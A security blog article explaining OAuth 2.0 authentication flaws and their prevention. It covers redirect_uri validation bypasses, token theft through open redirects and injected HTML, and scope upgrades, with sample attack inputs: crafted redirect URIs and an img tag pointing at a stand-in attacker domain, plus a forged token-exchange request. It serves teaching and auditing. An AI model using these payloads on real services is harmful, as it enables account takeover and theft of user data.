logo
    • Home
    • Categories
    • About
  • en-languageEnglish
SecurityBy Pierre Colart

OAuth 2.0 authentication vulnerabilities

What is OAuth?

OAuth is a commonly used authorization protocol that allows websites and web applications to request access to limited data on a user's account on another application, while protecting their login credentials. This gives users control over the data they want to share rather than having to trust their account with third parties.

The protocol is based on a series of interactions between three distinct parties: the client application, the resource owner, and the OAuth service provider. The client application is the website or web application requesting access to the user's data. The resource owner is the user whose data is being requested. The OAuth service provider is the website or application that controls the user's data and provides an API for interacting with an authorization server and a resource server.

There are different types of OAuth grants or flows, but the most common are "authorization code" and "implicit". In both cases, the client application requests access to a subset of the user's data by specifying the type of authorization and type of access required. The user is then prompted to log in to the OAuth service and explicitly give their consent for the requested access. The client application then receives a unique access token to access the requested data, which it uses to make API calls retrieving relevant data from the resource server.

OAuth is widely used for integrating third-party features that require access to certain data from a user's account. It is also used to provide third-party authentication services, allowing users to log in with an account they have on another website. To better understand how OAuth is used for authentication, it is important to understand the basic principles of the OAuth process, particularly the details of the covered grant types.

How do OAuth authentication vulnerabilities arise?

OAuth authentication vulnerabilities are partly due to the relatively vague and flexible design of the OAuth specification. While there are some mandatory components for the basic functionality of each grant type, most of the implementation is optional, including many configuration parameters to ensure user data security. This opens the door to poor practices.

Another key problem with OAuth is the lack of built-in security features, which means that security relies mainly on developers to properly configure and implement additional security measures, such as robust input validation. This can be difficult for developers inexperienced with OAuth.

Furthermore, depending on the authorization type, highly sensitive data can be sent via the browser, offering various opportunities for an attacker to intercept them.

Reconnaissance

Performing basic reconnaissance of the OAuth service being used can help identify potential vulnerabilities. To do this, you need to examine the various HTTP interactions that make up the OAuth flow, paying particular attention to certain specific elements. If you are using an external OAuth service, you can identify the specific provider from the hostname to which the authorization request is sent. OAuth service providers often provide detailed documentation of their public API, which can be useful in obtaining information such as the exact names of endpoints and configuration options used.

Once you have identified the authorization server hostname, it is recommended to send a GET request to the following standard endpoints: "/.well-known/oauth-authorization-server" and "/.well-known/openid-configuration". These endpoints often return a JSON configuration file containing key information, such as details on additional features supported. This can help you identify a wider attack surface and features that may not be mentioned in the documentation.

Exploitation of OAuth Authentication Vulnerabilities

There are potential vulnerabilities in the implementation of OAuth by the client application as well as in the configuration of the OAuth service itself. In this section, we will show you how to exploit some of the most common vulnerabilities in these two contexts.

Vulnerabilities in OAuth Client Application

Client applications often use a reputable OAuth service, which is hardened and well-protected against widely known exploits. However, their own implementation side may be less secure.

The OAuth specification is defined relatively vaguely, particularly with regard to client application implementation. There are many optional parameters and configuration settings in each grant type, meaning there are many opportunities for configuration errors.

In the implicit flow, the access token is sent from the OAuth service to the client application via the user's browser as a URL fragment. If the application wants to maintain the session after the user closes the page, it must store the current user's data somewhere, usually in a session cookie. However, in this scenario, the server has no secret or password to compare with the submitted data, which means it is implicitly approved.

In the implicit flow, this POST request is exposed to attackers via their browser, which can lead to a serious vulnerability if the client application does not properly check that the access token matches the other request data. In this case, an attacker can simply modify the parameters sent to the server to impersonate any user.

The state parameter is strongly recommended to prevent CSRF attacks. Ideally, it should contain a value that is impossible to guess, such as the hash of something related to the user's session. If the authorization request does not send a state parameter, this can potentially be interesting for an attacker, as it means they can initiate an OAuth flow themselves before tricking a user's browser into completing it, like a traditional CSRF attack.

Authorization Code and Access Token Leakage

One of the most well-known vulnerabilities in the context of OAuth is the ability for attackers to steal authorization codes or access tokens associated with other users' accounts. This flaw can be caused by poor OAuth service configuration, which allows attackers to access victims' data by stealing a valid code or token. Once in possession of this code or token, the attacker can log in as the victim on any client application registered with the OAuth service, completely compromising their account.

The code or token is sent via the victim's browser to the /callback endpoint specified in the redirect_uri parameter of the authorization request, depending on the grant type. If the OAuth service fails to properly validate this URI, an attacker may be able to construct a CSRF attack to send the code or token to an endpoint controlled by them.

In the authorization code flow, the attacker can steal the victim's code before it is used and send it to the legitimate client application's /callback endpoint to access the user's account. In this case, the attacker doesn't even need to know the client secret or resulting access token. As long as the victim has a valid session with the OAuth service, the client application will simply complete the code/token exchange on the attacker's behalf before connecting them to the victim's account.

More secure authorization servers will also require the sending of a redirect_uri parameter when exchanging the code and check that it matches the one received in the initial authorization request. This validation will prevent the attacker from controlling this second redirect_uri parameter, as it occurs in server-to-server requests via a secure back-channel.

Faulty redirect_uri Validation

Due to the potential attacks observed in the previous workshop, client applications are advised to specify a whitelist of authentic callback URIs when registering with the OAuth service. Thus, when a new request is received, the OAuth service can validate the redirect_uri parameter against this whitelist. If an external URI is provided, it will likely be rejected. However, it is still possible to bypass this validation.

When auditing an OAuth flow, it is recommended to test the redirect_uri parameter to understand how it is validated. For example:

Some implementations allow a range of subdirectories by only checking that the string begins with the correct character sequence, i.e. the approved domain. You can try removing or adding arbitrary paths, query parameters, and fragments to see what can be changed without triggering an error.

If you can add additional values to the default redirect_uri parameter, it is possible to exploit differences in URI parsing between different components of the OAuth service. You can try techniques such as:

 https://host.com &@foo.attacker-user.net#@bar.attacker-user.net/

In some cases, it is possible to encounter server-side parameter pollution vulnerabilities. To be prepared, you can try submitting duplicate redirect_uri parameters like so:

 https://oauth-authorization-server.com/?client_id=1&redirect_uri=client.com/callback&redirect_uri=attacker-user.net

It is important to note that simply testing the redirect_uri parameter in isolation during an OAuth flow audit is not enough. In the wild, you will often need to experiment with different combinations of modifications to multiple parameters to discover vulnerabilities. This is because modifying one parameter can sometimes affect the validation of others. For example, changing the response_mode parameter to "fragment" can completely change the parsing of the redirect_uri, allowing for submission of URIs that would otherwise be blocked. Similarly, support for the response web_message mode often allows for a wider range of subdomains in the redirect_uri.

Additionally, some servers give special treatment to localhost URIs because they are often used during development. In some cases, any redirect URI starting with localhost can accidentally be allowed in the production environment. This could allow an attacker to bypass validation by registering a domain name such as localhost.attacker-user.net.

It should also be noted that some servers allow for the registration of a whitelist of authentic callback URIs by client applications. This whitelist allows the server to validate the redirect_uri parameter against an approved list of callback URIs. However, there may still be ways to bypass this validation, so it is important to test different scenarios to discover vulnerabilities.

Stealing codes and access tokens via a proxy page

Once you have exhausted all options for falsifying the redirect_uri parameter and cannot successfully submit an external domain, this does not mean you should give up. At this point, you should have a good understanding of the parts of the URI that you can modify. The goal now is to use this knowledge to attempt to access a wider attack surface within the client application itself. In other words, you need to determine if you can modify the redirect_uri parameter to point to other pages within a whitelisted domain.

Try to find ways to successfully access different subdomains or paths. For example, the default URI will often be on a specific OAuth path, such as /oauth/callback, which will likely have no interesting subdirectories. However, you may be able to use directory traversal techniques to provide any arbitrary path on the domain, like so:

 https://client.com/oauth/callback/../../example/path

This can be interpreted on the back-end as:

 https://client.com/example/path

Once you have identified other pages that can be set as redirect URIs, you should audit them for additional vulnerabilities that you can potentially exploit to disclose the code or token. For the authorization code flow, you need to find a vulnerability that gives you access to the query parameters, while for the implicit grant type, you need to extract the URL fragment.

One of the most useful vulnerabilities for this purpose is an open redirect. You can use it as a proxy to transfer victims, along with their code or token, to a domain controlled by the attacker, where you can host any malicious script you like.

Note that for the implicit grant type, stealing an access token not only allows you to log in to the victim's account on the client application. Since the entire implicit flow is carried out via the browser, you can also use the token to make your own API calls to the OAuth service's resource server. This may allow you to retrieve sensitive user data that you normally cannot access from the client application's web interface.

In addition to open redirects, you should look for any other vulnerabilities that allow you to extract the code or token and send it to an external domain. Here are some good examples:

  • Dangerous JavaScript that handles query parameters and URL fragments. For example, insecure web messaging scripts may be perfect for this. In some scenarios, you may need to identify a longer gadget chain that allows you to pass the token through a series of scripts before eventually disclosing it to your external domain.
  • XSS vulnerabilities. While XSS attacks can have a huge impact, there is usually a short window of time during which the attacker has access to the user's session before closing the tab or leaving. As the HTTPOnly attribute is commonly used for session cookies, an attacker will often also be unable to directly access it using XSS. However, by stealing an OAuth code or token, the attacker can access the user's account in their own browser. This gives them much more time to explore the user's data and perform harmful actions, greatly increasing the severity of the XSS vulnerability.
  • HTML injection vulnerabilities. In cases where you cannot inject JavaScript (for example, due to CSP constraints or strict filtering), you can still use a simple HTML injection to steal authorization codes. If you can point the redirect URI parameter to a page where you can inject your own HTML content, you may be able to disclose the code via the Referer header. For example, consider the following img element:
 <img src="attacker-user.net">

In attempting to retrieve this image, some browsers such as Firefox will include the query string in the complete URL in the Referer header of the request.

Faulty Scope Validation

When an OAuth flow is used, the user must give their consent for the requested access based on the scope specified in the authorization request. The resulting token allows the client application to access only the scope authorized by the user. However, in certain situations, an attacker may be able to "upgrade" an access token (obtained through a malicious client application or stolen) by adding additional permissions due to faulty validation performed by the OAuth service. The steps to perform such an upgrade vary depending on the type of consent granted.

Scope Upgrade: Authorization Code Flow

With the authorization code grant type, user data is requested and transmitted via a secure server-to-server communication, which is not normally directly manipulable by a third-party attacker. However, it is still possible for an attacker to achieve the same result by registering their own client application with the OAuth service.

Let's take the example where the attacker's malicious client application initially requests access to the user's email address via the openid email scope. Once the user approves this request, the malicious client application receives an authorization code. Since the attacker controls their client application, they can add another scope parameter to the code/token exchange request, containing the additional profile scope:

 POST /token
Host: oauth-authorization-server.com
…
client_id=1&client_secret=SECRET&redirect_uri=https://client.com/callback&grant_type=authorization_code&code=a1b2c4d4f5f6g7h8&scope=openid%20 email%20profile

If the server does not verify this request against the scope of the initial authorization request, it may sometimes generate an access token using the new scope and pass it to the attacker's client application:

 {
    "access_token": "z0ysd9x8w7vsdu5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile",
    …
}

Next, the attacker can use their application to make the required API calls to access the user's profile data.

How to Prevent OAuth Authentication Vulnerabilities

To prevent OAuth authentication vulnerabilities, it is crucial for the OAuth provider as well as the client application to implement rigorous input validation, particularly for the redirect_uri parameter. Since there is little built-in protection in the OAuth specification, developers must take necessary measures themselves to secure the OAuth flow as much as possible.

It is important to note that vulnerabilities can occur both on the client application side and the OAuth service itself. Even if your own implementation is solid, you are still dependent on the strength of the application on the other side.

For OAuth Service Providers

To prevent OAuth authentication vulnerabilities, it is recommended to require client applications to register a whitelist of redirect_uris. Where possible, strict byte-by-byte comparison should be used to validate the URI in all incoming requests, only allowing complete and exact matches rather than using pattern matching. This prevents attackers from accessing other pages on whitelisted domains.

The use of the "state" parameter is also recommended. Its value should be tied to the user session by including session-specific data, such as a hash containing the session cookie. This helps protect users from CSRF attacks and makes it harder for an attacker to use stolen authorization codes.

On the resource server side, it is crucial to verify that the access token was issued to the client_id that made the request. The requested scope should also be verified to ensure it matches the scope for which the token was initially granted.

Scope Upgrade: Implicit Flow

In the case of implicit authorization, the access token is transmitted via the browser, which means an attacker can easily steal tokens associated with legitimate client applications and use them directly. Once in possession of the access token, the attacker can send a normal browser-based request to the OAuth service's /userinfo endpoint, manually adding a new scope parameter in the process.

Ideally, the OAuth service should validate this scope value against the one used during token generation, but this is not always the case. As long as the added permissions do not exceed the level of access previously granted to that client application, the attacker may potentially access additional data without requiring further user approval.

For OAuth Client Applications

Before implementing OAuth, it is crucial to thoroughly understand how it works. Many vulnerabilities are caused by a simple lack of understanding of what exactly happens at each step and how it can potentially be exploited.

It is recommended to use the "state" parameter even though it is not mandatory. It is also important to send a "redirect_uri" parameter not only to the /authorization endpoint, but also to the /token endpoint.

When developing native mobile or desktop OAuth client applications, it is often not possible to keep the client_secret confidential. In these situations, the PKCE mechanism (RFC 7636) can be used to provide additional protection against interception or leakage of the access code.

If using OpenID Connect id_token, make sure it is properly validated according to the JSON Web Signature, JSON Web Encryption, and OpenID specifications.

Be cautious with authorization codes as they can be leaked via Referer headers when loading external images, scripts, or CSS content. It is also important not to include them in dynamically generated JavaScript files as they can be executed from external domains.

Pierre Colart

Passionate developer and architect who wants to share their world and discoveries in order to make things simpler for everyone.

See profil

Latest posts

Sequences, Time Series and Prediction

© 2023 Switch case. Made with by Pierre Colart